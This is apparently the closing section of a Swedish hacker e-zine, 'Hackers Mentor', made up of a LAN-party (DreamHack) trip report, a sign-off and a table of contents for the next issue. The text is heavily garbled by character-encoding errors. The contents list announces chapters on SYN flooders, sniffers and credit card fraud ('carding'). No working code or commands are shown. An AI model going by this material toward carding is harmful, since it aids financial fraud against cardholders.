Jag vaknade vid 12, k<>pte nytt tangentbord, packade ihop datorn och prylarna.
Robb<EFBFBD>s f<>r<EFBFBD>ldrar h<>mtade oss vid 13:00 tiden. Fy fan va tr<74>tt man blir.
<EFBFBD>VEN fast jag hade lyckats sovit mellan klockan 05:00 och 12:00 varje dag.
Det var svettigt, man luktade helvete. Kl<4B>derna var inpyrda med koldioxid och Jolt.
Min madrass hade r<>kat lega bredvid en sops<70>ck d<>r man kastade tomburkar. S<>na d<>r
Joltisar med lite granna kvar i botten p<>. En sj<73> av l<>sk hade samlat sig vid min madrass som
s<EFBFBD>g ut att ha blivit nedbl<62>tt av n<>gon som <20>kissar i s<>ngen<65>. Det luktade inte s<>rskiljt gott.
Vi <20>kte hem, jag var pissn<73>dig hela v<>gen. Det var otroligt sk<73>nt att komma hem.
Jobbigt som tusan var det.. Men, var det roligt?? Jag vet faktist inte riktigt, men en sak
<EFBFBD>r s<>ker.. Vi <20>ker dit n<>sta <20>r igen! D<> med lite st<73>rre och starkare och tuffare utrustning!
DreamHack ska f<>rmodligen d<> byta lokaler. Arenan ska byggas om till utbildningscenter.
(kanske). S<> vi f<>r se vart det blir d<>. Kom dit och tr<74>ffa oss d<>! :-).
// DH Report 2k <20> icecoder.
H<EFBFBD>r hade jag t<>nkt skriva lite om NT Hacking. Tacka mig f<>r att jag l<>t bli!
Jag har tyv<79>rr haft f<>r lite tid <20>ver f<>r Hackers Mentor p<> senaste tiden, men till sist kom den ut
till er. Det blir mer skojj i n<>sta bok. Ha det bra till dess!
// icecoder
Hitta de senaste uppdateringarna och b<>ckerna p<>: www.insecurefoundation.cjb.net
F<EFBFBD>r fr<66>gor och svar, maila:
ounder@lords.com .
Hackers Mentor <20> 1998-2004 <20> Insecure Foundation.
Hitta f<>rfattaren samt <20>teamet<65> p<> #BIOS @ Dalnet <20> IRC.
I n<>sta nummer:
Kapitel 1: Introduktion och Inspiration.
Kapitel 2: Fortsatt C++ programmering.
Kapitel 3: Mer kommandon i Unix.
Kapitel 4: X och Shell programmering i Unix.
Kapitel 5: SYN Flooders och Sniffers
Kapitel 6: Tankar och id<69>er.
Kapitel 7: Intressanta l<>nkar
Kapitel 8: Ins<6E>ndare och Greetings. (Prat fr<66>n IRC).
Kapitel 9: Allt om Carding.
Reference in New Issue Copy Permalink